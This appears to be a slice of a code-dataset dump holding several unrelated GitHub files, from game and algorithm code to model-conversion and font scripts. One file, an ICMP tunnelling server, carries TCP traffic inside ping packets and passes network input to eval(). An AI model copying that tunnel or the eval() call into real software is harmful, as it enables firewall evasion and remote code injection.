classe_chanceux.get_stats()\n ajout_joueur(nom, zone=404, vie=stat['vie'], attaque=stat['attaque'], defense=stat['defense'], chance=stat['chance'], argent=stat['argent'], arme=\"x\", armure=\"x\")\n print(\"------------------------------------------------\")\n wait_spacebar()\n histoire_principale_d()\n\ndef recup_save():\n liste_choix=afficher_joueur()\n element = liste_choix[choix]\n\n zone = element[3]\n if zone == 404 or zone == 0:\n return classe_choix()\n elif zone == 1:\n return histoire_principale_d()\n elif zone == 2 or zone == 3:\n return capitale()\n elif zone == 4:\n return grande_foret()\n elif zone == 5:\n return port()\n elif zone == 6:\n return mer()\n elif zone == 7:\n return desert()\n elif zone == 8:\n return jungle()\n elif zone == 9:\n return grotte()\n elif zone == 10:\n return portail_demo()\n elif zone == 11:\n return zone_volca()\n elif zone == 12:\n return boss()\n\n\nif __name__ == \"__main__\": \n initialisation_jeu()\n liste_choix = afficher_joueur()\n choix = sauvegardes()\n\n ids = [elt[2] for elt in afficher_joueur()]\n use(choix)\n\n if choix == (len(ids)) or afficher_joueur() == []:\n classe_choix()\n\n else:\n recup_save()\n\n\n\n","repo_name":"leolerenard7/projet_Iltras","sub_path":"histoire_debut.py","file_name":"histoire_debut.py","file_ext":"py","file_size_in_byte":4840,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"40479275518","text":"# URL: https://leetcode.com/problems/max-difference-you-can-get-from-changing-an-integer/\n# Run result: Runtime: 24 ms, faster than 66.67% of Python3 online submissions for Max Difference You Can Get From Changing an Integer.\n# Memory Usage: 13.9 MB, less than 100.00% of Python3 online submissions for Max Difference You Can Get From Changing an Integer.\nclass Solution:\n def maxDiff(self, num: int) -> int:\n a = str(num)\n b = str(num)\n for s_digit in a:\n if s_digit != \"9\":\n a = a.replace(s_digit, \"9\")\n break\n if b[0] != \"1\":\n b = b.replace(b[0], \"1\")\n else:\n for digit in b[1:len(b)]:\n if digit not in \"01\":\n b = b.replace(digit, \"0\")\n break\n return int(a) - int(b)","repo_name":"ovmel/LeetCode-Solutions","sub_path":"Python/1432 Max Difference You Can Get From Changing an Integer/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"25411407300","text":"from credentials import *\nfrom google.cloud import storage as gcs\n\n# 単発アップロードです\n# パフォーマンスそんなに良くないけど、とりあえず簡単に使えるものになります\ndef command_upload(args):\n client = gcs.Client(project_id)\n bucket = client.get_bucket(bucket_name)\n blob = bucket.blob(args.destination)\n blob.upload_from_filename(args.source, content_type=args.content_type)\n\ndef command_download(args):\n client = gcs.Client(project_id)\n bucket = client.get_bucket(bucket_name)\n blob = bucket.blob(args.source)\n blob.download_to_filename(args.destination)\n","repo_name":"tsubakisakura/craft-simulator","sub_path":"pysrc/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"25508136920","text":"# import lines\r\n#################################\r\nimport sys\r\nimport math\r\n# import copy\r\n# import ast\r\n# import re\r\n# import time\r\n# import json\r\n# import time\r\n# import pprint\r\nfrom collections import *\r\nfrom heapq import *\r\n# from itertools import *\r\n# from statistics import *\r\n# from datetime import datetime\r\n# from bisect import *\r\n#################################\r\n\r\n# https://velog.io/@j_aion/백준-5719-거의-최단-경로\r\n\r\ndef dijstra():\r\n distances = [INF for _ in range(n)]\r\n distances[s] = 0\r\n \r\n pq = []\r\n heappush(pq, [0, s])\r\n \r\n while pq:\r\n cur_cost, cur_node = heappop(pq)\r\n \r\n if distances[cur_node] < cur_cost:\r\n continue\r\n \r\n for next_node, next_cost in graph[cur_node]:\r\n # 최단 경로에 포함된 간선은 제외\r\n if edges[cur_node][next_node]:\r\n continue\r\n if distances[next_node] > cur_cost + next_cost:\r\n distances[next_node] = cur_cost + next_cost\r\n heappush(pq, [distances[next_node], next_node])\r\n \r\n return distances\r\n\r\ndef bfs():\r\n q = deque()\r\n q.append(d)\r\n \r\n while q:\r\n cur_node = q.popleft()\r\n \r\n if cur_node == s:\r\n continue\r\n \r\n for prev_node, prev_cost in graph_inv[cur_node]:\r\n if distances[cur_node] == distances[prev_node] + prev_cost and not edges[prev_node][cur_node]:\r\n # cur_node로 향하는 이전 간선 비용을 사용했을 때 distances에 기록된 비용이라면 곧 최단 경로에 사용했다는 뜻이다.\r\n edges[prev_node][cur_node] = True\r\n q.append(prev_node)\r\n \r\nif __name__ == '__main__':\r\n input = sys.stdin.readline\r\n INF = sys.maxsize\r\n # MOD = 10**9 + 7\r\n # sys.setrecursionlimit(10**6)\r\n # direction = [(-1, 0), (1, 0), (0, -1), (0, 1)]\r\n \r\n while True:\r\n \r\n n, m = map(int, input().split())\r\n if n == 0 and m == 0:\r\n break\r\n \r\n graph = defaultdict(list)\r\n graph_inv = defaultdict(list)\r\n edges = [[False for _ in range(n)] for _ in range(n)]\r\n s, d = map(int, input().split())\r\n\r\n # input\r\n for _ in range(m):\r\n u, v, p = map(int, input().split())\r\n graph[u].append((v, p))\r\n graph_inv[v].append((u, p))\r\n\r\n # output\r\n # 방향 그래프 자체를 거꾸로 만든 뒤 도착지에서 목적지로 향하면서 최단 경로가 맞는지 확인\r\n distances = dijstra() # 최단경로 구하기\r\n bfs() # 최단경로 제거\r\n distances = dijstra() # 거의 최단경로 구하기\r\n if distances[d] == INF:\r\n print(-1)\r\n else:\r\n print(distances[d])","repo_name":"TaeyanG4/Baekjoon","sub_path":"백준/Platinum/5719. 거의 최단 경로/거의 최단 경로.py","file_name":"거의 최단 경로.py","file_ext":"py","file_size_in_byte":2806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"18082330058","text":"#! /usr/bin/env python3\n\nimport json\nimport os\nimport subprocess\nfrom urllib import request, error\n\nHEROKU_APP_NAME = os.environ.get('HEROKU_APP_NAME')\nHEROKU_AUTH_TOKEN = os.environ.get('HEROKU_AUTH_TOKEN')\nIMAGE_ID = subprocess.run(\n args=['docker',\n 'inspect',\n f'registry.heroku.com/{HEROKU_APP_NAME}/web:latest',\n '--format={{.Id}}'],\n capture_output=True,\n encoding='utf-8').stdout.strip()\n\npayload = {'updates': [{'type': 'web', 'docker_image': f'{IMAGE_ID}'}]}\npayload = json.dumps(payload).encode('utf-8')\nheaders = {\n 'Content-Type': 'application/json',\n 'Accept': 'application/vnd.heroku+json; version=3.docker-releases',\n 'Authorization': f'Bearer {HEROKU_AUTH_TOKEN}'}\n\nr = request.Request(\n method='PATCH', headers=headers, data=payload,\n url=f'https://api.heroku.com/apps/{HEROKU_APP_NAME}/formation')\n\ntry:\n with request.urlopen(r) as response:\n html = response.read().decode('utf-8')\n print(html)\nexcept error.HTTPError as e:\n raise SystemExit(f'Error with request: {e.reason}')\n","repo_name":"ColeRutledge/taskapi","sub_path":"docker/release.py","file_name":"release.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"31152152350","text":"import json\n\nfrom teatime import Context, NodeType, Scanner\nfrom teatime.plugins.ipfs import UnixFSEnum\n\ns = Scanner(\n ip=\"127.0.0.1\",\n port=5001,\n node_type=NodeType.IPFS,\n plugins=[UnixFSEnum()],\n)\nreport = s.run()\n\nprint(json.dumps(report.to_dict(), indent=2, sort_keys=True))\n","repo_name":"dmuhs/teatime","sub_path":"examples/ipfs_add.py","file_name":"ipfs_add.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","stars":95,"dataset":"github-code","pt":"82"} +{"seq_id":"73666197708","text":"#!/usr/bin/env python\n# -*- coding: utf8 -*-\n\nimport socket\nimport SocketServer\n\nimport logbook\n\nimport icmp\nfrom ThreadedICMPServer import ThreadedICMPServer\n\n# global socket dict: identifier and tcp-stream-socket\ndemultiplexer = {}\n# global shards: identifier and piece list\nshards = {}\n\nclass ICMPRequestHandler(SocketServer.BaseRequestHandler):\n '''\n ICMP\n '''\n def handle(self):\n global demultiplexer\n global shards\n\n raw_data, local = self.request\n identifier, sequence, content = icmp.unpack_reply(raw_data)\n logbook.info(\"identifier: {} sequence: {}\"\n .format(identifier, sequence))\n\n if sequence == 6666:\n remote_addr = eval(content)\n remote = socket.socket(\n socket.AF_INET, socket.SOCK_STREAM)\n remote.connect(remote_addr)\n remote.settimeout(0.5)\n logbook.info(\n \"connect the remote server: {}\".format(remote_addr))\n\n demultiplexer[identifier] = remote\n\n icmp_body = 'ok'\n elif sequence == 8888:\n if identifier not in demultiplexer:\n packet = icmp.pack_reply(\n identifier, sequence, content)\n local.sendto(packet, self.client_address)\n\n remote = demultiplexer[identifier]\n\n if len(content) == 0:\n remote.close()\n demultiplexer.pop(identifier, 0)\n\n logbook.info(\"send to remote:\\n{}\".format(content))\n remote.send(content)\n\n remote_recv = ''\n while True:\n try:\n buf = remote.recv(8192)\n except:\n logbook.info(\"empty buf\")\n break\n else:\n remote_recv += buf\n if len(remote_recv) <= 4096:\n icmp_body = remote_recv\n logbook.info(\n \"the length of icmp_body is {}\"\n .format(len(icmp_body)))\n logbook.info(\"return direct\")\n else:\n shards[identifier] = remote_recv\n icmp_body = \"shards\"\n logbook.info(\"shards\")\n elif sequence == 9999:\n if not shards.get(identifier, '') \\\n or not len(shards.get(identifier, '')):\n icmp_body = \"over\"\n logbook.info(\"over\")\n else:\n icmp_body = shards[identifier][:4096]\n shards[identifier] = shards[identifier][4096:]\n else:\n icmp_body = shards[identifier][sequence]\n logbook.info(\"shard content:\\n{}\".format(repr(icmp_body)))\n if sequence == len(shards[identifier]) - 1:\n shards.pop(identifier, 0)\n\n logbook.info(\"send back the content\")\n packet = icmp.pack_reply(identifier, sequence, icmp_body)\n local.sendto(packet, self.client_address)\n\n\nif __name__ == '__main__':\n local_log = logbook.FileHandler(\"/home/nightwish/pangolin/ping.log\")\n local_log.format_string = (\n u'[{record.time:%H:%M:%S}] '\n u'lineno:{record.lineno} '\n u'{record.level_name}:{record.message}')\n local_log.push_application()\n\n server = ThreadedICMPServer(('0.0.0.0', 1), ICMPRequestHandler)\n logbook.info(\"start ICMP server\")\n server.serve_forever()\n","repo_name":"zhao-ji/pangolin","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3423,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"71749532427","text":"#steps:\n#1: python -m venv model_conv\n#2: model_conv\\Scripts\\activate\n#3: python -m pip install --upgrade pip wheel setuptools\n#4: pip install -r model-requirements.txt\n#5: python sd_model_conversion.py 2022.3.0\n\n\n\n\nfrom diffusers import StableDiffusionPipeline, StableDiffusionInpaintPipeline\nimport gc\nfrom pathlib import Path\nimport torch\nimport numpy as np\nimport sys\nimport os\nimport shutil\nfrom openvino.tools import mo\nfrom openvino.runtime import serialize\nimport platform\nimport subprocess\n\n\n#ov_version = sys.argv[1]\n\n#print(\"ov_version\",ov_version)\ninstall_location = os.path.join(os.path.expanduser(\"~\"), \"openvino-ai-plugins-gimp\")\nSD_path = os.path.join(install_location, \"weights\", \"stable-diffusion-ov\", \"stable-diffusion-1.5\")\n\nif platform.system() == \"Linux\":\n\tsd_mo_path=os.path.join(\".\", \"model_conv/bin/mo\")\nelse:\n\tsd_mo_path=r'model_conv\\Scripts\\mo.exe'\n\nchoice = sys.argv[1]\n\n#if ov_version == \"2022.3.0\":\n\n\n\nwt = 512\nht = 512\nchannel = 4\n \nif choice == \"1\":\n wt = 512\n ht = 512\n weight_path = os.path.join(SD_path, \"square\")\n print(\"============SD-1.5 Square Model setup============----\")\nelif choice == \"2\":\n wt = 640\n ht = 360\n weight_path = os.path.join(SD_path, \"landscape\")\n print(\"============SD-1.5 landscape Model setup============\")\nelif choice == \"3\":\n wt = 360\n ht = 640\n weight_path = os.path.join(SD_path, \"portrait\")\n print(\"============SD-1.5 portrait Model setup============\")\nelif choice == \"4\":\n wt = 512\n ht = 768\n weight_path = os.path.join(SD_path, \"portrait_512x768\")\n print(\"============SD-1.5 portrait_512x768 Model setup============\")\nelif choice == \"5\":\n wt =768\n ht = 512\n weight_path = os.path.join(SD_path, \"landscape_768x512\")\n print(\"============SD-1.5 landscape_768x512 Model setup============\")\nelif choice == \"6\":\n wt = 512\n ht = 512\n channel = 9\n weight_path = os.path.join(SD_path, \"..\", \"stable-diffusion-1.5-inpainting\")\n print(\"============SD-1.5 Inpainting Model setup============\")\n \n\nelse:\n wt = 512\n ht = 512\n weight_path = os.path.join(SD_path, \"square\")\n print(\"SD-1.5 Square Model setup\")\n \nif channel == 9:\n pipe = StableDiffusionInpaintPipeline.from_pretrained(\"runwayml/stable-diffusion-inpainting\").to(\"cpu\")\n pipeline_name = StableDiffusionInpaintPipeline\n\nelse: \n pipe = StableDiffusionPipeline.from_pretrained(\"runwayml/stable-diffusion-v1-5\").to(\"cpu\")\n pipeline_name = StableDiffusionPipeline\n\n\ntext_encoder = pipe.text_encoder\ntext_encoder.eval()\nunet = pipe.unet\nunet.eval()\nvae = pipe.vae\nvae.eval()\n\ndel pipe\n \n\nif not os.path.isdir(weight_path):\n os.makedirs(weight_path)\n\nprint(\"weight path is :\", weight_path)\n \n \nTEXT_ENCODER_ONNX_PATH = Path(weight_path) / 'text_encoder.onnx'\nTEXT_ENCODER_OV_PATH = Path(weight_path) / 'text_encoder.xml'\nprint(\"TEXT_ENCODER_OV_PATH:\",TEXT_ENCODER_OV_PATH) \n\n\ndef convert_encoder_onnx(xtext_encoder: pipeline_name, onnx_path:Path):\n \"\"\"\n Convert Text Encoder model to ONNX. \n Function accepts pipeline, prepares example inputs for ONNX conversion via torch.export, \n Parameters: \n pipe (StableDiffusionPipeline): Stable Diffusion pipeline\n onnx_path (Path): File for storing onnx model\n Returns:\n None\n \"\"\"\n if not onnx_path.exists():\n input_ids = torch.ones((1, 77), dtype=torch.long)\n # switch model to inference mode\n text_encoder.eval()\n\n # disable gradients calculation for reducing memory consumption\n with torch.no_grad():\n # infer model, just to make sure that it works\n text_encoder(input_ids)\n # export model to ONNX format\n torch.onnx.export(\n text_encoder, # model instance\n input_ids, # inputs for model tracing\n onnx_path, # output file for saving result\n input_names=['tokens'], # model input name for onnx representation\n output_names=['last_hidden_state', 'pooler_out'], # model output names for onnx representation\n opset_version=14 # onnx opset version for export\n )\n print('Text Encoder successfully converted to ONNX')\n \n\nif not TEXT_ENCODER_OV_PATH.exists(): #--compress_to_fp16 --data_type=FP16\n \n convert_encoder_onnx(text_encoder, TEXT_ENCODER_ONNX_PATH)\n try:\n encoder_model = mo.convert_model(TEXT_ENCODER_ONNX_PATH, compress_to_fp16=True)\n serialize(encoder_model, xml_path=os.path.join(weight_path, 'text_encoder.xml'))\n \n except:\n subprocess.call([sd_mo_path, '--input_model', TEXT_ENCODER_ONNX_PATH, '--data_type=FP16', '--output_dir', weight_path])\n \n print('Text Encoder successfully converted to IR')\nelse:\n print(f\"Text encoder will be loaded from {TEXT_ENCODER_OV_PATH}\")\n\ndel text_encoder\ngc.collect()\n\n#if ov_version == \"2022.2.0\":\n\nUNET_ONNX_PATH = Path(weight_path) / 'unet' / 'unet.onnx'\nUNET_OV_PATH = Path(weight_path) / 'unet.xml'\n\nprint(\"UNET PATH\",UNET_OV_PATH)\nprint(\"UNET_ONNX_PATH\", UNET_ONNX_PATH)\n\ndef convert_unet_onnx(unet:pipeline_name, onnx_path:Path):\n \"\"\"\n Convert Unet model to ONNX, then IR format. \n Function accepts pipeline, prepares example inputs for ONNX conversion via torch.export, \n Parameters: \n pipe (StableDiffusionPipeline): Stable Diffusion pipeline\n onnx_path (Path): File for storing onnx model\n Returns:\n None\n \"\"\"\n if not onnx_path.exists():\n # prepare inputs\n encoder_hidden_state = torch.ones((2, 77, 768))\n \n latents_shape = (2, channel, ht // 8, wt // 8)\n latents = torch.randn(latents_shape)\n t = torch.from_numpy(np.array(1, dtype=float))\n\n # model size > 2Gb, it will be represented as onnx with external data files, you will store it in separated directory for avoid a lot of files in current directory\n onnx_path.parent.mkdir(exist_ok=True, parents=True)\n unet.eval()\n\n with torch.no_grad():\n torch.onnx.export(\n unet, \n (latents, t, encoder_hidden_state), str(onnx_path),\n input_names=['latent_model_input', 't', 'encoder_hidden_states'],\n output_names=['out_sample']\n )\n print('Unet successfully converted to ONNX')\n\n\nif not UNET_OV_PATH.exists():\n convert_unet_onnx(unet, UNET_ONNX_PATH)\n del unet\n gc.collect()\n \n try:\n unet_model = mo.convert_model(UNET_ONNX_PATH, compress_to_fp16=True)\n serialize(unet_model, xml_path=os.path.join(weight_path, 'unet.xml'))\n except:\n subprocess.call([sd_mo_path, '--input_model', UNET_ONNX_PATH, '--data_type=FP16', '--output_dir', weight_path]) \n \n \n print('Unet successfully converted to IR')\nelse:\n del unet\n print(f\"Unet will be loaded from {UNET_OV_PATH}\")\ngc.collect()\n\nVAE_ENCODER_ONNX_PATH = Path(weight_path) / 'vae_encoder.onnx'\nVAE_ENCODER_OV_PATH = Path(weight_path) / 'vae_encoder.xml'\n\n\ndef convert_vae_encoder_onnx(vae: pipeline_name, onnx_path: Path):\n \"\"\"\n Convert VAE model to ONNX, then IR format. \n Function accepts pipeline, creates wrapper class for export only necessary for inference part, \n prepares example inputs for ONNX conversion via torch.export, \n Parameters: \n pipe (StableDiffusionInstructPix2PixPipeline): InstrcutPix2Pix pipeline\n onnx_path (Path): File for storing onnx model\n Returns:\n None\n \"\"\"\n class VAEEncoderWrapper(torch.nn.Module):\n def __init__(self, vae):\n super().__init__()\n self.vae = vae\n\n def forward(self, image):\n h = self.vae.encoder(image)\n moments = self.vae.quant_conv(h)\n return moments\n\n if not onnx_path.exists():\n vae_encoder = VAEEncoderWrapper(vae)\n vae_encoder.eval()\n image = torch.zeros((1, 3, ht, wt))\n with torch.no_grad():\n torch.onnx.export(vae_encoder, image, onnx_path, input_names=[\n 'init_image'], output_names=['image_latent'])\n print('VAE encoder successfully converted to ONNX')\n\n\nif not VAE_ENCODER_OV_PATH.exists():\n convert_vae_encoder_onnx(vae, VAE_ENCODER_ONNX_PATH)\n \n try:\n vae_encoder_model = mo.convert_model(VAE_ENCODER_ONNX_PATH, compress_to_fp16=True)\n serialize(vae_encoder_model, xml_path=os.path.join(weight_path, 'vae_encoder.xml'))\n except:\n subprocess.call([sd_mo_path, '--input_model', VAE_ENCODER_ONNX_PATH, '--data_type=FP16', '--output_dir', weight_path])\n \n \n print('VAE encoder successfully converted to IR')\nelse:\n print(f\"VAE encoder will be loaded from {VAE_ENCODER_OV_PATH}\")\n\nVAE_DECODER_ONNX_PATH = Path(weight_path) /'vae_decoder.onnx'\nVAE_DECODER_OV_PATH = Path(weight_path) / 'vae_decoder.xml'\n\n\ndef convert_vae_decoder_onnx(vae: pipeline_name, onnx_path: Path):\n \"\"\"\n Convert VAE model to ONNX, then IR format. \n Function accepts pipeline, creates wrapper class for export only necessary for inference part, \n prepares example inputs for ONNX conversion via torch.export, \n Parameters: \n pipe (StableDiffusionInstructPix2PixPipeline): InstrcutPix2Pix pipeline\n onnx_path (Path): File for storing onnx model\n Returns:\n None\n \"\"\"\n class VAEDecoderWrapper(torch.nn.Module):\n def __init__(self, vae):\n super().__init__()\n self.vae = vae\n\n def forward(self, latents):\n latents = 1 / 0.18215 * latents \n return self.vae.decode(latents)\n\n if not onnx_path.exists():\n vae_decoder = VAEDecoderWrapper(vae)\n latents = torch.zeros((1, 4, ht//8, wt//8))\n\n vae_decoder.eval()\n with torch.no_grad():\n torch.onnx.export(vae_decoder, latents, onnx_path, input_names=[\n 'latents'], output_names=['sample'])\n print('VAE decoder successfully converted to ONNX')\n\n\nif not VAE_DECODER_OV_PATH.exists():\n convert_vae_decoder_onnx(vae, VAE_DECODER_ONNX_PATH)\n \n try:\n vae_decoder_model = mo.convert_model(VAE_DECODER_ONNX_PATH, compress_to_fp16=True)\n serialize(vae_decoder_model, xml_path=os.path.join(weight_path, 'vae_decoder.xml'))\n except:\n subprocess.call([sd_mo_path, '--input_model', VAE_DECODER_ONNX_PATH, '--data_type=FP16', '--output_dir', weight_path])\n \n print('VAE decoder successfully converted to IR')\nelse:\n print(f\"VAE decoder will be loaded from {VAE_DECODER_OV_PATH}\")\n\ndel vae\n\n\n#cleanup\nif TEXT_ENCODER_ONNX_PATH.exists():\n os.remove(TEXT_ENCODER_ONNX_PATH)\n \nif UNET_ONNX_PATH.exists():\n shutil.rmtree(Path(weight_path) / 'unet')\n \nif VAE_ENCODER_ONNX_PATH.exists():\n os.remove(VAE_ENCODER_ONNX_PATH)\n\nif VAE_DECODER_ONNX_PATH.exists():\n os.remove(VAE_DECODER_ONNX_PATH)\n\n \nsys.exit()\n","repo_name":"intel/openvino-ai-plugins-gimp","sub_path":"sd_model_conversion.py","file_name":"sd_model_conversion.py","file_ext":"py","file_size_in_byte":10902,"program_lang":"python","lang":"en","doc_type":"code","stars":248,"dataset":"github-code","pt":"82"} +{"seq_id":"32558747971","text":"import json\nimport os\n\nUSERS_FILE = os.path.join(os.path.dirname(__file__), '../data/users.json')\n\n\ndef _get_all_users() -> list:\n with open(USERS_FILE, 'r', encoding='utf-8') as file:\n all_users = json.load(file)\n file.close()\n return all_users\n\n\ndef _update_user_file(new_data):\n with open(USERS_FILE, 'w', encoding='utf-8') as file:\n json.dump(new_data, file, indent=4, separators=(',', ': '), ensure_ascii=False)\n file.close()\n\n\ndef _make_account_if_none(username: str) -> None:\n # Check for account\n exists = False\n all_users = _get_all_users()\n\n for user in all_users:\n if user['username'] == username:\n exists = True\n break\n\n # Make account\n if not exists:\n new_user = {\n 'username': username,\n 'avoided_heroes': [],\n 'trivia_success': 0,\n 'trivia_total': 0,\n 'guess the hero_success': 0,\n 'guess the hero_total': 0,\n 'mapguessr_success': 0,\n 'mapguessr_total': 0\n }\n all_users.append(new_user)\n _update_user_file(all_users)\n\n\ndef get_profile(username: str):\n _make_account_if_none(username)\n for user in _get_all_users():\n if user['username'] == username:\n return user\n return None\n\n\ndef is_hero_avoided(username: str, hero: str) -> bool:\n _make_account_if_none(username)\n user = {}\n for x in _get_all_users():\n if x['username'] == username:\n user = x\n break\n avoided_heroes = user['avoided_heroes']\n if hero in avoided_heroes:\n return True\n return False\n\n\ndef avoid_hero(username: str, hero: str) -> None:\n _make_account_if_none(username)\n all_users = _get_all_users()\n\n user = {}\n for x in all_users:\n if x['username'] == username:\n user = x\n break\n\n avoided_heroes = user['avoided_heroes']\n avoided_heroes.append(hero)\n user.update({'avoided_heroes': avoided_heroes})\n for x in all_users:\n if x['username'] == username:\n all_users[all_users.index(x)] = user\n break\n _update_user_file(all_users)\n\n\ndef unavoid_hero(username: str, hero: str) -> None:\n _make_account_if_none(username)\n all_users = _get_all_users()\n\n user = {}\n for x in all_users:\n if x['username'] == username:\n user = x\n break\n avoided_heroes = user['avoided_heroes']\n if hero in avoided_heroes:\n avoided_heroes.remove(hero)\n user.update({'avoided_heroes': avoided_heroes})\n for x in all_users:\n if x['username'] == username:\n all_users[all_users.index(x)] = user\n break\n _update_user_file(all_users)\n\n\ndef update_game_score(username: str, game: str, successful_questions: int, total_questions: int):\n _make_account_if_none(username)\n all_users = _get_all_users()\n\n user = {}\n if game not in ['trivia', 'guess the hero', 'mapguessr']:\n return\n for x in all_users:\n if x['username'] == username:\n user = x\n break\n try:\n s_questions = user[f'{game}_success']\n s_questions += successful_questions\n t_questions = user[f'{game}_total']\n t_questions += total_questions\n except KeyError:\n s_questions = 0\n t_questions = 0\n user.update({f'{game}_success': s_questions, f'{game}_total': t_questions})\n for x in all_users:\n if x['username'] == username:\n all_users[all_users.index(x)] = user\n break\n _update_user_file(all_users)\n\n\ndef get_game_scoreboard(game: str = None) -> list or None:\n if game not in ['trivia', 'guess the hero', 'mapguessr'] and game is not None:\n return []\n elif game is None:\n scoreboard = []\n for user in _get_all_users():\n user_score = 0\n user_total = 0\n for g in ['trivia', 'guess the hero', 'mapguessr']:\n user_score += user[f'{g}_success']\n user_total += user[f'{g}_total']\n if user_total > 0:\n scoreboard.append({'username': user['username'],\n 'success': user_score,\n 'total': user_total})\n return sorted(scoreboard, key=lambda i: (int(i['success'] / i['total'] * 100), i['total']), reverse=True)\n\n scoreboard = []\n for user in _get_all_users():\n if user[f'{game}_total'] > 0:\n scoreboard.append(user)\n\n def get_success_rate(user: dict):\n return int(user[f'{game}_success'] / user[f'{game}_total'] * 100)\n\n return sorted(scoreboard, key=lambda i: (get_success_rate(i), i[f'{game}_total']), reverse=True)\n\n\ndef delete(username: str):\n all_users = _get_all_users()\n\n for x in all_users:\n if x['username'] == username:\n all_users.remove(x)\n\n _update_user_file(all_users)\n","repo_name":"Algore101/AthenaAI","sub_path":"libraries/profiles.py","file_name":"profiles.py","file_ext":"py","file_size_in_byte":4916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22675895183","text":"#!/usr/local/bin/python3\n# coding: utf-8\n# adapted from https://github.com/typiconman/fonts-cu/blob/master/codechart.pl\nfrom __future__ import print_function, unicode_literals\nimport collections\nimport codecs\nimport argparse\nimport unicodedata\nimport os\nimport string\nfrom fontTools import ttx\n\n\ndef irange(start, end):\n ''' inclusive range '''\n return list(range(start, end+1))\n\nRangeInfo = collections.namedtuple('RangeInfo', ['name', 'range'])\n\n_RANGES = [\n RangeInfo(\"Basic Latin\", irange(0x0000, 0x007F)),\n RangeInfo(\"Latin-1 Supplement\", irange(0x0080, 0x00FF)),\n RangeInfo(\"Cyrillic\", irange(0x0400, 0x04FF)),\n RangeInfo(\"Cyrillic Supplement\", irange(0x0500, 0x052F)),\n RangeInfo(\"Cyrillic Extended A\", irange(0x2DE0, 0x2DFF)),\n RangeInfo(\"Cyrillic Extended B\", irange(0xA640, 0xA69F)),\n RangeInfo(\"Cyrillic Extended C\", irange(0x1C80, 0x1C8F)),\n RangeInfo(\"Greek\", irange(0x0370, 0x03FF)),\n RangeInfo(\"Greek Extended\", irange(0x1F00, 0x1FFF)),\n RangeInfo(\"Glagolitic\", irange(0x2C00, 0x2C5F)),\n RangeInfo(\"Glagolitic Extended\", irange(0x1E000, 0x1E02F)),\n RangeInfo(\"Georgian\", irange(0x10A0, 0x10FF)),\n RangeInfo(\"General Punctuation\", irange(0x2000, 0x206F)),\n RangeInfo(\"Miscellaneous Symbols\", irange(0x2600, 0x26FF)),\n RangeInfo(\"Supplemental Punctuation\", irange(0x2E00, 0x2E4F)),\n RangeInfo(\"Combining Diacritical Marks\", irange(0x0300, 0x036F)),\n RangeInfo(\"Combining Diacritical Marks Supplement\", irange(0x1DC0, 0x1DFF)),\n RangeInfo(\"Combining Half Marks\", irange(0xFE20, 0xFE2F)),\n RangeInfo(\"Byzantine Musical Symbols\", irange(0x1D000, 0x1D015)),\n RangeInfo(\"Miscellaneous Symbols and Pictographs\", irange(0x1F310, 0x1F41F)),\n RangeInfo(\"Miscellaneous Symbols and Pictographs con't\", irange(0x1F510, 0x1F54F)),\n RangeInfo(\"`Open Range' Private Use\", irange(0xF400, 0xF4FF)),\n RangeInfo(\"`Open Range' Private Use (con't)\", irange(0xF500, 0xF5FF)),\n]\n\n_COMBINERS = {\n 0xA674 : \"Wide Est\",\n 0xA675 : \"Eight I\",\n 0xA676 : \"Ten I\",\n 0xA677 : \"Combining U\",\n 0xA67B : \"Omega\",\n 0xA678 : \"Hard Sign\",\n 0xA67A : \"Soft Sign\",\n 0xA679 : \"Yeru\",\n 0xA69E : \"Ef\",\n 0xA69F : \"Iotified E\",\n 0xFE2E : \"Titlo Left\",\n 0xFE2F : \"Titlo Right\"\n} # listing of characters that Unicode::Collate doesn't recognize\n\n\ndef main_codechart(args):\n path = os.path.dirname(args.fontpath)\n fontname, _ = os.path.splitext(os.path.basename(args.fontpath))\n output = os.path.join(path, fontname) + '.tex'\n \n fnt = ttx.TTFont(args.fontpath)\n \n ## this array keeps track of all combining marks that we will need to TEST!\n #marx = {}\n \n _TEMPL_HEAD = string.Template('''\\\n \\\\documentclass{article}\n \\\\usepackage{fontspec}\n \\\\usepackage{xcolor}\n \\\\usepackage{tabu}\n \\\\usepackage{hyperref}\n \\\\usepackage{polyglossia}\n \\\\usepackage[top=0.5in, bottom=0.5in, left=0.5in, right=0.5in]{geometry}\n \\\\newfontfamily\\\\glyphfont[Path=./]{${fontname}.otf}\n \\\\setmainfont[Mapping=tex-text]{Times}\n \\\\setdefaultlanguage{english}\n \\\\setotherlanguage{russian} % don't have Church Slavic available yet :(\n \n \\\\begin{document}\n \\\\tabulinesep=1.2mm\n ''')\n \n _TEMPL_FONTDOC = string.Template('''\\\n \\\\section{Font Documentation}\n \n \\\\textbf{Font name}: ${name} \\\\\\\\\n \\\\textbf{Font author}: ${author} \\\\\\\\\n \\\\textbf{Version}: ${version} \\\\\\\\\n \\\\textbf{Copyright information}: ${copyright} \\\\\\\\\n \n ''')\n \n _TEMPL_PHRASE = string.Template('''\\\n \\\\section{Font Test} \n \n {\\\\glyphfont{\\\\tiny The quick brown fox jumps over the lazy dog. 1234567890}} \\\\\\\\\n {\\\\glyphfont{\\\\scriptsize The quick brown fox jumps over the lazy dog. 1234567890}} \\\\\\\\\n {\\\\glyphfont{\\\\small The quick brown fox jumps over the lazy dog. 1234567890}} \\\\\\\\\n {\\\\glyphfont{The quick brown fox jumps over the lazy dog. 1234567890}} \\\\\\\\\n {\\\\glyphfont{\\\\large The quick brown fox jumps over the lazy dog. 1234567890}} \\\\\\\\\n {\\\\glyphfont{\\\\huge The quick brown fox jumps over the lazy dog. 1234567890}} \\\\\\\\\n \\\\begin{russian}\n 